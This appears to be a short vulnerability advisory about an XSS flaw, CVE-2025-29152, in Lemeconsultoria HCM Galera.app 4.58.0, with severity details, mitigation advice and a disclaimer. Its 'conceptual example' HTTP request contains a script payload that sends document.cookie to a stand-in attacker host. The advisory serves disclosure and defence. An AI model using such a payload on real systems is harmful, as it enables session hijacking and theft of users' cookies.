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CVE-2025-29152: Cross-Site Scripting Vulnerability in Lemeconsultoria HCM Galera.app

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Overview

The cross-site scripting (XSS) vulnerability identified as CVE-2025-29152 in the Lemeconsultoria HCM Galera.app version 4.58.0 allows an attacker to compromise the system or leak data. This vulnerability is critical due to its wide reach, affecting multiple components of the application and, consequently, the organizations that use this software.

Vulnerability Summary

CVE ID: CVE-2025-29152
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

Lemeconsultoria HCM Galera.app | v.4.58.0

How the Exploit Works

The XSS vulnerability occurs when the application does not properly validate input on the mentioned components. This flaw allows an attacker to inject malicious scripts, which are then executed in the browser of any user viewing the manipulated page. The attacker can hijack user sessions, deface websites, or redirect the user to malicious sites.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/component HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"userInput": "<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}

In this example, the attacker sends a POST request with a payload containing malicious JavaScript. If the application processes this input and returns it in a web page without proper sanitization, the script executes in the user’s browser, sending their cookies to the attacker’s server.

Mitigation

To mitigate this vulnerability, it is advised to apply the latest patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, a temporary solution would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious payloads. Furthermore, it’s good practice to sanitize all user inputs and outputs in the application to prevent such vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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